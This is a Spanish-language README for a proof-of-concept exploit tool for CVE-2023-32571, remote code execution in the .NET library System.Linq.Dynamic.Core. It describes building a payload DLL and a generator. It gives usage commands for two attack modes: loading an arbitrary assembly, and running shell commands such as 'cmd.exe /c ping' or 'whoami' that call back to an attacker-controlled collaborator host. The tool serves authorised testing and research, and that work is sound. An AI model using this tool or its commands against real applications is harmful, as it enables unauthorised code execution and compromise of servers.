🐞 CVE-2023-32571 - Ejecución remota de código en System.Linq.Dynamic.Core

Prueba de concepto para CVE-2023-32571, una vulnerabilidad de ejecución remota de código en System.Linq.Dynamic.Core (1.0.7.10 a 1.2.25). Esta vulnerabilidad permite a los atacantes ejecutar código y comandos arbitrarios cuando se analizan entradas no confiables en métodos como Where, Select, OrderBy.

⚠️ Descargo de responsabilidad

Esta herramienta se proporciona únicamente con fines educativos y de pruebas autorizadas. El uso de esta herramienta para atacar objetivos sin consentimiento mutuo previo es ilegal. Los desarrolladores no asumen ninguna responsabilidad ni se hacen responsables de cualquier uso indebido o daño causado por este programa.

🎯 Requisitos previos

• SDK de .NET 9.0 o posterior
• Aplicación objetivo que utilice una versión vulnerable de System.Linq.Dynamic.Core (1.0.7.10 a 1.2.25)
• Un servidor colaborador (por ejemplo, Burp Collaborator, Interactsh) para observar los callbacks

🛠️ Compilación del proyecto

1. Compile el proyecto:
   root@kitploit:~

   dotnet build --configuration Release
   

   La compilación generará
   • El payload DLL en Payload/bin/Release/netstandard2.0/Payload.dll
   • El generador de payload en Generator/bin/Release/net9.0/Generator.dll

🚀 Uso

Modos

La herramienta admite dos modos:

1. AssemblyLoad (Modo 0): Cargar y ejecutar un ensamblado .NET personalizado
2. ProcessStart (Modo 1): Ejecutar comandos del sistema directamente mediante Process.Start

Modo 0: AssemblyLoad (Predeterminado)

# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1

# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0

# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1

# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0

Modo 1: ProcessStart (Ejecución directa de comandos)

# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"

# Linux command execution  
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"

⚙️ Parámetros

• --mode: Modo de explotación (0=AssemblyLoad, 1=ProcessStart)
• --file: Ruta al ensamblado .NET que se va a cargar (obligatorio para el modo AssemblyLoad)
• --type: Nombre de tipo totalmente calificado que se va a instanciar (obligatorio para el modo AssemblyLoad)
• --parameters: Parámetros según el modo:
  • AssemblyLoad: Parámetros del constructor (separados por comas)
  • ProcessStart: Comando a ejecutar (por ejemplo, 'cmd.exe /c whoami' o 'bash -c whoami')
• --encoding: Método de codificación para el modo AssemblyLoad (0=Hex, 1=Base64)

📚 Referencias

• NIST NVD
• NCCGROUP Advisory
• System.Linq.Dynamic.Core GitHub Repository